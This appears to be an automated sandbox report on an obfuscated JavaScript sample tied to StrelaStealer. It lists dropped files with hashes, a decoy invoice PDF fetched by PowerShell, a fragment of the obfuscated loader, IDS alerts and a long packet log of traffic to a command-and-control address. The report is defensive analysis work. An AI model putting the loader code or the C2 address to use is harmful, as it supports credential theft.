SHA-256:	AD3B420D705CD3412FB3D4CC2849BDEFB82FE3901BBBA35B5CEA665A543CBA41
SHA-512:	58A8BAF9D639184BE1C3A2978623A219A7DF4A5DC388A24C67EE5E3ED52AE935B2FB6BEDA92933F0853D74F80B694CB2EED4A5CF84DCF14693AF81B55D247610
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d02037b8-e2df-424d-9579-8be06e3eac48.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18959), with CRLF line terminators
Entropy (8bit):	4.888233996991581
TrID:
File name:	71621480653828912.js
File size:	22'414 bytes
MD5:	b05cb9a22196d49528fd99f345a46f44
SHA1:	36add1fcc77d9f50054c7a815f6b78d1064cf9c5
SHA256:	f796b97ba2c026242ff83686c9e9c211dda286e6d98464b7af6b677b6434c2a2
SHA512:	06c951bf2f8cf9fd4d2a7f0b1a6f7c115c91a60a22ae6255d691d744bd9436b1156c534a46a15a8c90a5fa278b74e506a407f1e6b01d04eaaf229bda7c9b4ca5
SSDEEP:	384:3ksgeOazT/YCwYRZa/7SAvOv4q3LAyDJN52yThTmX/lUYlWMJI2AEcmsxQCukdNO:3k1WP5GlhJuEcKIYk/mpoMJj
TLSH:	1BA232C857868B5AAED907E84E8F08E73B2DC08E8B90916E944375B601D4BFB31F5375
File Content Preview:	function jmnwq(){dwlzj=[1031,3079,5127,4103,2055,3072];var rpwvwv=this[otqlluw+xjoaon+hovvsqcj+duldqn+ycnbmtu+qwqsxwmoh+ftbgbcm+mjozox](this[mocwmwg+ixbau+onnrdjv+hovvsqcj+ejwnh+otqlluw+mjozox][yvasi+hovvsqcj+ycnbmtu+xjoaon+mjozox+ycnbmtu+rlgmfd+svonhiq+a

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:17:38.163917+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T08:17:38.163917+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T08:17:40.797259+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:17:37.333723068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:37.338648081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:37.338835955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:37.341747046 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:37.346494913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.163731098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.163785934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.163822889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.163866997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.163901091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.163917065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.163917065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.163934946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.163988113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.163995981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.164024115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.164057970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.164092064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.164125919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.164155960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.215327978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.215368032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.215403080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.215483904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.265990973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.284358978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.284393072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.284516096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.284545898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.284586906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.284586906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.289119005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.289155006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.289206982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.289213896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.289242029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.289278030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.289344072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.293906927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.293958902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.293965101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.293994904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.294029951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.294044971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.294063091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.294122934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.298640013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.298692942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.298727989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.298751116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.298763990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.298823118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.303463936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.303500891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.303541899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.303560972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.307730913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.307858944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.336487055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.336524963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.336560011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.336594105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.336632013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.336973906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.377089024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.377120018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.377265930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.405678034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.405740976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.405791044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.405791998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.405829906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.405864954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.405920982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.406055927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.406121969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.406188965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.406255007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.406316042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.406397104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.406451941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.406488895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.406507015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.406582117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.406618118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.406663895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.407257080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.407326937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.407392979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.407444000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.407480001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.407484055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.407517910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.407576084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.408138990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.408200026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.408250093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.408256054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.408305883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.408340931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.408478975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.409024000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.409076929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.409089088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.409111977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.409158945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.409231901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.409266949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.409472942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.409877062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.410003901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.410048962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.410058022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.410094976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.410130978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.410198927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.410715103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.410804033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.410840988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.410883904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.410883904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.429029942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.429065943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.429100990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.429148912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.457407951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.457444906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.457501888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.457535982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.457554102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.457588911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.457623959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.457659006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.457691908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.457693100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.457830906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.498178005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.498209953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.498244047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.498275042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.498285055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.498336077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.526859045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.526870012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.526885986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.526931047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.526973963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.526984930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.526993990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.527066946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.527122974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.527132988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.527173996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.527416945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.527434111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.527503014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.527589083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.527628899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.527638912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.527771950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.527791977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.527801991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.527812958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.527826071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.527967930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.527978897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.527988911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.528000116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.528012037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.528012037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.528033018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.528206110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.528217077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.528273106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.528613091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.528736115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.528745890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.528786898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.528820992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.528831959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.528847933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.528858900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.528882980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.528882980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.529064894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.529076099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.529084921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.529134989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.529134989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.529697895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.529709101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.529719114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.529819965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.529875994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.529887915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.529897928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.529907942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.529930115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.529948950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.530117035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.530128002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.530137062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.530163050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.530205965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.530664921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.530675888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.530685902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.530747890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.530831099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.530842066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.530849934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.530859947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.530900955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.530900955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.530977011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.531007051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.531017065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.531037092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.531063080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.531594038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.531613111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.531622887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.531750917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.531760931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.531770945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.531796932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.531796932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.531840086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.531908035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.531918049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.531927109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.531939983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.531975031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.531989098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.532675982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.532690048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.532699108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.532708883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.532757998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.532757998 CET	49705	80	192.168.2.8	193.143.1.205
